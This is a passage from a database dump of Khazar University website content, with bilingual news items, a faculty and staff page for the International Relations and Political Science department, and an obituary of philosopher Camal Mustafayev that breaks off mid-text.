href=\"mailto:frasulov@khazar.org\">frasulov@khazar.org</a>.</div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">You can register through <strong><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSdgho2IBFX6zHg7m1k6l074JIx-Vc88U_30qQPYN9iWgKLiPA/viewform\">this link</a></strong> to join the competition.&nbsp;<br></div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">You can call this number for additional questions: (012) 421 10 93 (extension: 278).</div><p><a href=\"/files/letters/idea_poster_eng_sm.jpg\" style=\"font-size:medium\">The poster of the competition is ready.</a><br></p>'),(4290,2532,'az','Gənc psixoloqların beynəlxalq mübadilə proqramının ilkin mərhələsi yekunlaşdı','Xəbər verildiyi kimi, 2017-ci il oktyabrın 8-dən 14-dək “Gənc Psixoloqlar” İctimai Birliyinin...','<p>Xəbər verildiyi kimi, 2017-ci il oktyabrın 8-dən 14-dək “Gənc Psixoloqlar” İctimai Birliyinin və “Türk Psikoloji Öğrencileri Çalışma Grubu”nun birgə təşkilatçılığı, Xəzər Universiteti və Işık Universitetinin əməkdaşlığı ilə keçirilən gənc psixoloqların ilk beynəlxalq mübadilə proqramının ilkin mərhələsi yekunlaşmışdır. Bununla bağlı respublikanın media orqanlarında yayılmış məlumatı bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://ucnoqta.az/news/51369\">http://ucnoqta.az/news/51369</a>.</p>'),(4184,2457,'az','Elmi Şuranın yeni dərs ilində ilk iclası keçirildi','2017-ci il sentyabrın 28-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə Elmi şuranın yeni dərs ilində...','<p>2017-ci il sentyabrın 28-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə Elmi şuranın yeni dərs ilində ilk iclası keçirildi.</p><p>İclasda universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, yeni dərs ilinin başlanması münasibətilə əməkdaşları təbrik etdi, tövsiyələrini bildirdi. Professor universitetdə elmi işlərin gücləndirilməsi zərurətini vurğulayaraq, bunu üçün təşkilati tədbirin də görüldüyünü – universitetdə elmi işlər üzrə prorektor vəzifəsinin təsis edildiyini və bu vəzifəyə Bioloji elmlər departamentinin müdiri İradə Xəlilovanın təyin olunduğunu bildirdi.</p><p>İclasın gündəliyinə əsasən rektor Hassan Niknafs və dekanlar universitetə yeni təyin olunmuş işçiləri Elmi şuranın üzvlərinə təqdim etdilər. Xəzər Universiteti Elmi şurasının yeni tərkibi haqqında prorektor Məhəmməd Nuriyev, məzunlar haqqında Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, Təhsil fakültəsinin dekanı Elza Səmədova, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov və Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Vəfa Aslanova, doktorant və dissertantların dissertasiya mövzusu, elmi rəhbərlərinin təsdiqi və ixtisaslarının dəyişdirilməsi haqqında Magistratura, doktorantura və elmi işlər üzrə bölmənin müdiri Eldar Şahgəldiyev və elmi adların verilməsi haqqında prorektor İradə Xəlilova məlumat verdilər və müvafiq qərarlar qəbul edildi.</p><p>İclasda cari məsələlər də müzakirə olundu.</p>'),(1895,1165,'en','Khazar University Instructor on Academic Board of International Symposium to be held in Turkey','','<p>On November 3-5, 2016, a symposium\r\nentitled “International Symposium on History, Culture and Civilization of\r\nCentral Anatolya and Black Sea Principalities:&nbsp; III Ramazanogullari\r\nPrincipality” will be held in Adana, Turkey by Turkish History Organization,\r\nNecmettin Erbakan University, Cukurova University and Union of Islamic\r\nHistorians. Elza Ismayilova, Instructor for Khazar University’s Department of\r\nAzerbaijani Language and Literature, is a member of the Academic Board for the\r\nSymposium. </p>\r\n<p>More information about the\r\nSymposium is available at the following link:&nbsp;</p><p><span style=\"color:#1f497d\"><a href=\"https://www.konya.edu.tr/storage/images/web/events/Ramazano%C4%9Fullar%C4%B1%20Duyuru.pdf\">https://www.konya.edu.tr/storage/images/web/events/Ramazano%C4%9Fullar%C4%B1%20Duyuru.pdf</a>\r\n<o:p></o:p></span></p> <p><br></p>'),(1879,1156,'en','“My Participation in the Creative Author Competition was Memorable” ','An interview with Samir Imanov, young writer and webmaster with physical disabilities who has won writing competitions, was published on the official website of Adalet Newspaper.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">An\r\ninterview with Samir Imanov, young writer and webmaster with physical\r\ndisabilities who has won writing competitions, was published on the official\r\nwebsite of Adalet Newspaper. In the interview, Imanov mentions that his\r\nparticipation in Khazar University’s Creative Author competition was among the\r\nmost memorable events of his life. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nfull text of the article (in Azerbaijani) is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.adalet.az/w99274/\"></a><a href=\"http://www.adalet.az/w99274/\"></a>  </p><p><span style=\"font-size:12.0pt;font-family:\'Times New Roman\',\'serif\'\"><a href=\"http://www.adalet.az/w99274/%22Bir_barma%C4%9F%C4%B1mla_yaz%C4%B1rd%C4%B1m%22_-_H%C6%8FR_%C5%9EEY%C6%8F_R%C6%8F%C4%9EM%C6%8FN/\">http://www.adalet.az/w99274/%22Bir_barma%C4%9F%C4%B1mla_yaz%C4%B1rd%C4%B1m%22_-_H%C6%8FR_%C5%9EEY%C6%8F_R%C6%8F%C4%9EM%C6%8FN/</a></span><o:p></o:p></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(445,283,'en','Faculty and Staff','Faculty and Staff','<h3>Faculty Members</h3>\r\n<p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/politics_depart/10286865_10153333046401421_4839060582034961181_o.jpg\" style=\"width:150px;height:223px;margin:7px;float:left\"><span style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20_CV.pdf\"><strong>Elmar MUSTAFAYEV</strong></a> is a full-time lecturer and coordinator of International Relations and Political Science Department of Khazar University as of September 2016 where he teaches courses on <em>EU Foreign Policy, International Organizations, NATO and Security Studies</em>. Prior to that he collaborated with the Center for Geopolitical Studies in Rome and published several op-ed articles and contributed to a book publication. He received his MA&nbsp;in International Cooperation at </span>La<span style=\"text-align:justify\"> Sapienza University of Rome with the State Scholarship on Education of Azerbaijani Youth Abroad in the Years 2007-2015. During his M.A studies, he worked at the Embassy of Azerbaijan </span>to<span style=\"text-align:justify\"> Italy and the European Parliament in Brussels. Upon completion of his M.A., he enrolled to PhD&nbsp;in Political Science at </span>La<span style=\"text-align:justify\"> Sapienza University of Rome. His research focuses on European Neighborhood Policy and Europeanization of South Caucasus.</span></p><p><strong>Contact</strong>:&nbsp;<a href=\"http://Elmar.mustafayev@khazar.org\">elmar.mustafayev[at]khazar.org<br></a></p><p><strong>Phone</strong>:&nbsp;(+994 12) 421 7916 (238)</p><p><a href=\"mailto:Elmar.mustafayev@khazar.org\"><br></a></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><a href=\"mailto:kallahverdiyev[at]khazar.org\"></a><br><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/demo/14_04_10_Rashad.jpg\" style=\"width:150px;height:180px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/politics_depart/Rashad_Huseynov_CV.pdf\">Dr. Rashad HUSEYNOV</a></strong>&nbsp;is a lecturer on&nbsp;<em>Foundations of Security Studies, International Organizations, Diplomacy and Statecraft&nbsp;</em>at undergraduate and postgraduate levels. Dr. Huseynov received his PhD&nbsp;from the Human Rights Institute of the National Academy of Science in 2007. His PhD&nbsp;dissertation focused on trilateral cooperation between Azerbaijan, Turkey and Israel and its implications on security and economic development in the region. He published several articles related to the above-mentioned topics in the local and international journals. Dr. Huseynov is currently working on his post-doctorate dissertation with a focus on the main sources of radicalization of Islam in the Caucasus. Dr. Huseynov is also involved in the implementation of two TEMPUS projects (development of master programme on Migration Studies and capacity building in the field of EU Studies) as a curriculum development expert.</p><p><strong>Contact</strong>: <a href=\"http://rhuseynov[at]khazar.org\">rhuseynov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/politics_depart/Picture-Baba.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/politics_depart/Baba_Bayramli_CV.pdf\"><strong>Baba BAYRAMLI </strong></a>is a Ph.D.&nbsp;candidate at the Department of Political Science and International Relations of Khazar University and his research focuses on the role of integration into European institutions and the regional cooperation policy in ensuring security in the South Caucasus. He also teaches courses on <em>the History of Diplomacy and Modern Diplomacy.</em></p><p><strong>Contact</strong>:&nbsp;<a href=\"http://bbayramov[at]khazar.org\">bbayramov[at]khazar.org</a></p>\r\n<p><br></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/politics_depart/13775381_10208728898934065_1920759147293612908_n.jpg\" style=\"margin-left:7px;margin-top:7px;margin-right:7px;width:150px;height:150px;float:left\"><strong style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/Rashad%20Aghazada%20CV%20updated.pdf\">Dr. Rashad AGHAZADE</a>&nbsp;</strong><span style=\"text-align:justify\">lectures on <em>Democracy </em>at the undergraduate and postgraduate level. He has been teaching at Khazar University since July 2016 and had taught courses on <em>Foreign policy of Azerbaijan, </em><em>Transnational Terrorism, Public International Law and Theory of International Relations</em>. Dr. Aghazada received his MA degree in Diplomacy from the Baku Slavic University and defended his Ph.D. in International Relations at the Dissertation Council of the Academy of Public Administration under the President of the Republic of Azerbaijan in 2015. His Ph.D. dissertation focused on the role public relations and public diplomacy activities in Azerbaijan’s foreign policy. He published several articles related to public diplomacy, diplomatic public relations, intercultural dialogue and foreign policy analysis in the local and international journals. Currently, he also works at the Ministry of Foreign Affairs of the Republic of Azerbaijan.&nbsp;</span></p>\r\n<p><strong>Contact</strong>:&nbsp;<a href=\"http://rashad.aghazada@khazar.org\">rashad.aghazada[at]khazar.org</a></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/politics_depart/Photo%20(002).jpg\" style=\"border:0px  #000000;width:199px;height:138px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov%20%20CV%20%20EN.pdf\">Bakhtiyar BADALOV</a></strong> is a lecturer on <em>Foreign Policy of the Republic of Azerbaijan, EU law, EU politics: Comparative Analyses</em>&nbsp;at undergraduate and postgraduate levels. Mr. Badalov received his bachelor degree in International Relations from University of Qafqaz of Azerbaijan. And he has been awarded the degree of Master of Political Science from the Lund University of Sweden in 2012. His Master dissertation focused on the “European Union and Russian Federation Energy Relations: Petrification or Revival?”. Currently, his is working as a Director of International Relations Department of the Azerbaijan University. During the period 2012-2017, he provided a lecture in the fields of EU Law, Contemporary International Problems and Research Methods.</p><p style=\"text-align:justify\"><strong>Contact:</strong>&nbsp;<a href=\"mailto:Bakhtiyar.Badalov@khazar.org\"></a><a href=\"http://Bakhtiyar.Badalov@khazar.org\">Bakhtiyar.Badalov[at]khazar.org</a> <a href=\"mailto:rashad.aghazada@khazar.org\"></a> <a href=\"mailto:Bakhtiyar.Badalov@khazar.org\"></a>\r\n  </p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><p><img src=\"http://www.khazar.org/files/politics_depart/1936033_114559083499_2040486_n.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/ELSEVER%20MAMMADOV_CV.pdf\">Elsevar MAMMADOV</a>&nbsp;</strong><span style=\"text-align:justify\">is a lecturer on <em>Political Psychology and Research Methods in Political Science</em>. His main research lies&nbsp;</span>on&nbsp;<span style=\"text-align:justify\">the opportunities for civil society and regional challenges against the background of eastern partnership, EU External Governance, and the regional integration policies in South Caucasus. He&nbsp;holds an MA degree in Peace and Security Policy Studies in Hamburg, Germany.&nbsp;</span><span style=\"font-size:inherit\">Elsevar&nbsp;</span><span style=\"text-align:justify\">was a coordinator for the research project on comparative analysis of EU’s strategic instruments implemented in the South Caucasus and&nbsp;</span>Central&nbsp;<span style=\"text-align:justify\">Asia, conducted by the Institute of International Politics of Darmstadt University (Germany).&nbsp;</span></p>\r\n<p><strong>Contact</strong>:&nbsp;<a href=\"http://emammadov[at]khazar.org\">emammadov[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><strong><img src=\"http://www.khazar.org/files/politics_depart/Zibar%20Huseynova_Photo.jpg\" style=\"width:150px;height:100px;margin:7px;float:left\"></strong></p><p style=\"text-align:justify\"><strong style=\"font-weight:bold\"><a href=\"http://www.khazar.org/files/politics_depart/Zibar%20Huseynova%20_CV.pdf\">Zibar HUSEYNOVA</a>&nbsp;</strong>lectures on <em>International Political Economy</em> at the Department of International Relations and Political Science of Khazar University. She holds MA degree in European Political and Administrative Studies from the College of Europe (Bruges) and Bachelor\'s degree in International Relations from the Baku State University. Her research interests include the&nbsp;European Union’s Foreign and Security Policy, the European Neighborhood Policy and the&nbsp;European Union\'s Energy Policy. <span style=\"font-weight:bold\"></span></p><p style=\"text-align:justify\"><strong>Contact</strong>:<a href=\"http://zibar.huseynova@khazar.org\">&nbsp;zibar.huseynova[at]khazar.org</a></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"http://www.khazar.org/files/politics_depart/Photo.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/files/politics_depart/Curriculum%20Vitae%20JEYRAN.pdf\">Jeyran MAMMADLI</a></strong><span style=\"color:#252525\"> is a lecturer on<em> International Political Economy, Economy of European Countries&nbsp;</em>at </span>undergraduate<span style=\"color:#252525\"> level. She holds her BA degree in International Economic Relations from </span>Azerbaijan<span style=\"color:#252525\"> State University of Economics and MA degree in International Project Management from Strasbourg University as well as in European Economic Integration and Business from College of Europe. Her primary areas of interest include Azerbaijan’s WTO accession, European Neighborhood Policy as well as Human Capital and Education.&nbsp;</span></span><span style=\"text-align:justify\">Currently, she is a leading advisor in </span>Project<span style=\"text-align:justify\"> Monitoring Unit of the Ministry of Education.</span></p><p style=\"text-align:justify\"><strong>Contact:</strong>&nbsp;<a href=\"http://Jeyran.Mammadli@khazar.org\">Jeyran.Mammadli[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><img src=\"http://www.khazar.org/files/pdf/picture%202.jpg\" style=\"width:150px;height:194px;margin:7px;float:left\"><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/CV_Anar%20Rahimov.pdf\"><strong>Anar RAHIMOV</strong></a> is a PhD&nbsp;candidate and lectures courses on <em>International Organizations and History of Parliamentarism</em>. He authored on the prospects of economic cooperation in the Wider Black Sea region and current cooperation trends in the Turkic world. Areas of his interest include multilateralism and parliamentary diplomacy, as well as a role of international organizations in contemporary international order and OSCE platform in security dialogue. Anar Rahimov was a participant of&nbsp;the Individual Fellowship Programme of the European Parliament and conducted a research on the EU parliamentary dimension, functions, structure and role of the European Parliament. He is also alumni of the Graduate Institute of International Studies of Geneva (Switzerland). In 2005-2011 Anar Rahimov worked in the International Secretariat of the Parliamentary Assembly of the Organization of the Black Sea Economic Cooperation (PABSEC), after which he continued his activity in the Parliamentary Assembly of Turkic Speaking Countries (TURKPA) where he currently is the head of legal affairs and public relations section.</p><p><strong>Contact</strong>:&nbsp;<a href=\"http://arahimov[at]khazar.org\">arahimov[at]khazar.org<br></a></p><p><br></p><p style=\"text-align:justify\"><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p style=\"text-align:justify\"><img src=\"/files/politics_depart/749f9345-13ab-4fce-a18a-b38d21f5149c.jpg\" style=\"border:0px #000000;float:left;margin:7px;width:201px;height:150px\"><strong><a href=\"http://www.khazar.org/files/politics_depart/Ziya%20Mursalzade%20CV.pdf\">Ziya MURSALZADE</a></strong> lectures on Introduction to Economics, International Political Economy at undergraduate and postgraduate levels. He holds an MSc degree in Finance from the University of Leicester and a BA degree in International Economic Relations from Baku State University. He passed CFA Level 1 exam in June 2018 within the top 10% band. He is now CFA Level 2 Candidate. He has been selected “the best full-time master student of the year” during his studies at the University of Leicester. He was granted to the scholarship of SOCAR for his MSc studies. Now, he is working as head of Economic indicators and financial modelling Division at SOCAR. His main research interests include oil sector, portfolio management, risk management, derivatives, and stock trading. Along with Khazar University, he lectures International Investments, Corporate Finance and Financial Risk Management at undergraduate and graduate levels in UNEC.</p>\r\n<p style=\"text-align:justify\"><strong>Contact</strong>:&nbsp;<a href=\"http://zmursalzada[at]khazar.org\">zmursalzada[at]khazar.org<br></a></p><p style=\"text-align:justify\"><a href=\"mailto:%20zmursalzada[at]khazar.org\"><br></a></p><p style=\"text-align:justify\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><img src=\"http://www.khazar.org/files/politics_depart/01906db.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"><p style=\"text-align:justify;padding-left:40px\"><a href=\"http://www.khazar.org/files/politics_depart/CV_Gunay%20Bayramova.pdf\"><strong>Gunay BAYRAMOVA</strong></a> is a doctoral researcher at the University of Sheffield, United Kingdom. She has been teaching at Khazar University since January 2015. Mrs. Bayramova received her MA degree in International Studies from the University of Sheffield in September 2010 and commenced her PhD studies in January 2012. She obtained her BA degree in International Relations from the Academy of Public Administration under the President of the Republic of Azerbaijan in 2009. Mrs. Bayramova’s doctoral research is on the role of energy in foreign policy. She focuses on Azerbaijan which is examined as an energy-rich but security-poor country in her thesis. Mrs. Bayramova taught courses on <em>International Political Economy, Political Systems and Institutions, and the History of International Relations.</em> This semester she will be teaching a course on <em>Nations and Nationalism</em> at the undergraduate level and <em>the History of International Relations</em> at the postgraduate level.</p><p style=\"text-align:justify\"><strong>Contact</strong>:&nbsp;<a href=\"http://gbayramova@khazar.org\" style=\"text-align:justify\">gbayramova[at]khazar.org</a></p><p style=\"text-align:justify\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><img src=\"/files/politics_depart/Image.png\" style=\"width:150px;height:185px;float:left;margin:7px\"></p><p style=\"text-align:justify\"><span style=\"line-height:107%\"><strong style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/Aygul%20Ismayilova%20CV.pdf\" style=\"text-align:justify\">Aygul ISMAYILOVA</a>&nbsp;</strong></span>received her BA in International Relations from Baku State University. Mrs. Ismayilova has been awarded her MA degree from ADA University. Currently, she is PhD candidate at Khazar University and her research focuses on the just war theory and application of this theory on a case study, particularly Nagorno-Karabakh war from different perspectives and analyzes that how this war fits into this tradition. She is teaching courses on <em>History of Europe, Conflict Studies and Just War in Political Theory and Practice</em> at the undergraduate and graduate level. Currently, she is working at Scientific and Cultural Center of the Administration of State Historical-Architectural Reserve.&nbsp;</p><p><strong>Contact:</strong>&nbsp;<a href=\"http://aygul.ismayilova@khazar.org\">aygul.ismayilova[at]khazar.org</a>  </p> <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"/files/politics_depart/34484504_10209469205766302_2236651953658527744_n.jpg\" style=\"border:0px  #000000;width:150px;height:164px;margin:7px;float:left\"><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/Cv_Gunay%20Mukhtarova.pdf\"><strong>Gunay MUKHTAROVA</strong></a>&nbsp;is a lecturer on Comparative Politics at undergraduate level and Globalization process in Contemporary IR at postgradute level. She received her MA in International Relations and Diplomacy with the State Scholarship on Education of Azerbaijani Youth Abroad in the Years 2007-2015. In Geneva, she was also an alumni of Sustainable Development Goals program organized by the UN. She was nominated as a Schuman scholar at the European Parliament in Brussels. In 2015, she worked at the UN Geneva headquarter as a program manager. Currently, she works as a chief advisor at the Azerbaijan Republic State Examination Center. Her research focuses on international trade relations and innovation-based economy.</p><p><strong>Contact:</strong> <a href=\"http://gunay.mukhtarova[at]khazar.org\">gunay.mukhtarova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><a href=\"http://www.khazar.org/files/politics_depart/CV-Huseynov%20(1).pdf\"><img src=\"http://www.khazar.org/files/politics_depart/Qk6W5_bQ.jpeg\" style=\"width:127px;height:150px;margin:7px;float:left\"></a><br><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Huseynov_Khazar.pdf\">Dr. Vasif HUSEYNOV</a></strong>&nbsp;lectures on&nbsp;<em>Political Systems of Azerbaijan and Foreign Countries, Transnational Terrorism</em>&nbsp;at Khazar University. He has obtained his BA degree in International Relations financed by the Presidential Scholarship at the Academy of Public Administration under the President of the Republic of Azerbaijan in 2011.&nbsp; Dr. Huseynov obtained his MA degree at the University of Kassel (2013) and PhD degree in Political Science at University of Goettingen, both in Germany and sponsored by the full scholarships of German Academic Exchange Program (DAAD). For the time being, he also works as a researcher at the Centre for Strategic Studies (SAM).&nbsp;</p><p><strong>Contact:</strong>&nbsp;&nbsp;<a href=\"http://vasif.huseynov@khazar.org/\">vasif.huseynov[at]khazar.org</a>&nbsp;  <br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><img src=\"http://www.khazar.org/files/politics_depart/Rafiq.jpg\" style=\"margin:7px;width:132px;height:150px;float:left\"><p style=\"text-align:justify\"><span style=\"line-height:115%\"><strong><a href=\"http://www.khazar.org/files/politics_depart/CV%20Dr%20Rafig%20Rustamov.pdf\">Dr. Rafig RUSTAMOV</a>&nbsp;</strong>is an adjunct lecturer at Khazar University. Graduated from Department of History of Ankara University in 2001, Dr. Rustamov received his MA (2001)&nbsp;and PhD&nbsp;(2009)&nbsp;degrees on International Relations from the Graduate School of Social Sciences of Ankara University in 2009. He has been working at the Ministry of Foreign Affairs of the Republic of Azerbaijan since 2008.&nbsp;&nbsp;Dr. Rustamov teaches&nbsp;<em>Foundations of Azerbaijan’s National Security</em>&nbsp;at Khazar University. Besides his practical experiences, Dr. Rustamov’s academic research interest includes Theories of International Relations, National Security, Diplomacy and Foreign Policy of Azerbaijan.&nbsp; &nbsp; &nbsp;&nbsp;</span></p><p><span style=\"line-height:115%\"><strong>Contact:&nbsp;</strong><a href=\"http://rafig.rustamov[at]khazar.org/\">Rafig.Rustamov[at]khazar.org</a>  <br></span></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"/files/politics_depart/img_Guljan.jpg\" style=\"width:150px;height:144px;float:left;margin:7px\"><p style=\"text-align:justify\"><span style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/CV_Kulakhmet_eng(ph).pdf\" style=\"font-weight:bold\">Guljan KULAKHMET</a><strong>&nbsp;</strong>is a Public Relations Assistant at the Board of Directors and Trustees, Khazar University. She lectures on Introduction to Political Science&nbsp;at the undergraduate level. She has obtained her MA degree in Public Policy from the University of Bristol (UK) and BA degree in Regional Studies from the Eurasian National University (Kazakhstan). Her research focuses on International Relations, Political Science and Education Policy.</span></p><p><strong style=\"text-align:justify\">Contact: </strong><a href=\"http://gkulakhmet[at]khazar.org\" style=\"text-align:justify\">gkulakhmet[at]khazar.org</a></p><p><strong style=\"text-align:justify\"><br></strong><strong style=\"text-align:justify\"></strong></p><p><strong style=\"text-align:justify\"><br></strong></p><p><strong style=\"text-align:justify\"><br></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><strong><img src=\"/files/politics_depart/36279807_2352316261477111_5300870347782881280_n.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"></strong><a href=\"http://www.khazar.org/files/politics_depart/Tural%20Huseynli.pdf\"><strong>Tural HUSEYNLI</strong></a> received his BA in Politics and International Relations at Kingston University London between the years of 2014-2017. After successfully completing the bachelor degree, he continued his studies at University College London between the years of 2017-2018 in the field of Legal and Political Theory. His main research interests are the democracy (intrastate and global, especially, on a theoretical basis), political authority, legitimacy, nationalism, religion, identity politics, and the EU. “Do the minorities who face the controversial or the unjust decision have the right to disobey the democratic government?” was his dissertation question while doing MA at UCL. He lectures on&nbsp;<em>Introduction to Political Science&nbsp;</em>at the undergraduate level. &nbsp;</p><p> <strong>Contact:&nbsp;</strong><a href=\"http://Tural.Huseynli[at]khazar.org\">Tural.Huseynli[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/CV-Aygun%20Aliyeva.pdf\"><img src=\"http://www.khazar.org/files/politics_depart/aygun_a.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:150px\"></a><strong><a href=\"http://www.khazar.org/files/politics_depart/CV-Aygun%20Aliyeva.pdf\">Aygun ALIYEVA</a>&nbsp;</strong>is an assistant at the Department of Political Science and International Relations of Khazar University&nbsp;from March 2018.&nbsp;She&nbsp;holds BA degree in International Relations from the Academy of Public Administration under the President of the Republic of Azerbaijan.&nbsp;During her BA studies, she worked as a chairman of Diplomacy&nbsp;and&nbsp;Research Club of APA.&nbsp;Currently, she is doing MA degree in European Studies at Khazar University.</p><p><strong>Contact</strong>:&nbsp;<a href=\"mailto:aaliyeva@khazar.org\">aaliyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>'),(5392,3116,'en','Syllabus','Syllabus','<p><a href=\"http://www.khazar.org/files/philosophy_depart/Sosiologiya_Mail_Yagubov.pdf\">Sociology</a></p>'),(5391,3116,'az','Sillabuslar','Sillabuslar','<p><a href=\"http://www.khazar.org/files/philosophy_depart/Sosiologiya_Mail_Yagubov.pdf\">Sosiologiya</a></p>'),(4544,2688,'az','Azərbaycanın görkəmli filosof alimi Camal Mustafayev vəfat etmişdir','Azərbaycanın görkəmli filosof alimi, fəlsəfə elmləri doktoru, əməkdar elm xadimi, Xəzər Universiteti Tərcümə Araşdırmalar Mərkəzinin direktoru, “Xəzər Xəbər” jurnalı redaksiya...','<p><img src=\"/files/letters/2016-01-20-13-50-08camalll.jpg\" style=\"border:0px  #000000;width:190px;height:265px;margin:7px 10px 7px 7px;float:left\">Azərbaycanın görkəmli filosof alimi, fəlsəfə elmləri doktoru, əməkdar elm xadimi, Xəzər Universiteti Tərcümə Araşdırmalar Mərkəzinin direktoru, “Xəzər Xəbər” jurnalı redaksiya heyətinin üzvü, professor Camal Vəli oğlu Mustafayev 2017-ci il dekabrın 2-dən 3-nə keçən gecə 89 yaşında fəvat etmişdir. Camal Mustafayev 1928-ci ildə Gürcüstanın Qarayazı rayonunun (indiki Qardabani) Kosalı kəndində anadan olmuşdur. Orta təhsilini 1935-1944-cü illərdə Kosalı kənd orta məktəbində almışdır. Sonra Tbilisidə ikiillik Müəllimlər İnstitutunda oxumuşdur. 1946-1948-ci illərdə Kosalı kəndində müəllim işləyib. 1948-ci ildə Azərbaycan Dövlət Universitetinin (indiki Bakı Dövlət Universiteti) fəlsəfə şöbəsinə daxil olub. 1949-cu ildə Moskva Dövlət Universitetinə keçirilib və oranı 1952-ci ildə bitirib. İki il Qarayazı rayonunda məktəb direktoru işləyib.</p><p>1954-1957-ci illərdə SSRİ EA Fəlsəfə İnstitutunun əyani aspirantı olub. Aspirantura illərində onun elmi araşdırmaları \"Nizaminin fəlsəfi və etik görüşləri\" mövzusu ətrafında olmuşdur. O, bu mövzuda namizədlik dissertasiyası müdafiə etmişdir. 1957-1968-ci illərdə Camal Mustafayev Azərbaycan EA Fəlsəfə və Hüquq İnstitutunda kiçik elmi işçi, elmi işçi və baş elmi işçi vəzifələrində işləmişdir.</p><p>1968-ci ildə o, Azərbaycan Dövlət Universitetinin müdafiə şurasında \"Nizaminin ideyalar aləmi və müasirlik\" mövzusunda doktorluq dissertasiyası müdafiə edərək, fəlsəfə elmləri doktoru alımlik dərəcəsinə layiq görülmüşdür. 1968-1976-cı illərdə Azərbaycan Pedaqoji Xarici Dillər İnstitutunda (indiki Azərbaycan Dillər Universiteti) fəlsəfə kafedrasının müdiri işləmişdir.</p><p>1976-cı ildən 1999-cu ilədək Azərbaycan Dövlət Universitetinin professoru olmuşdur. 1985-1991-ci illərdə universitetdə etika-estetika kafedrasının müdiri vəzifəsində çalışmışdır. Professor Camal Mustafayev 1999-cu ildən Xəzər Universiteti Tərcümə Araşdırmalar Mərkəzinin direktoru vəzifəsində işləmişdir.</p><p>Camal Mustafayev orta əsrlər Azərbaycan fəlsəfi fikri sahəsində bir sıra sanballı əsərlər çap etdirmişdir. Xüsusən, onun Nizami fəlsəfəsinə, XII əsr Azərbaycan düşüncəsinə aid əsərləri geniş oxucu kütləsinə bəllidir. Moskva və başqa şəhərlərin nüfuzlu jurnallarında əsərləri çap olunmuşdur. Onun Müsəlman şərq sosial utopiyasına aid tədqiqat işləri və s. əsərləri xarici dillərə tərcümə 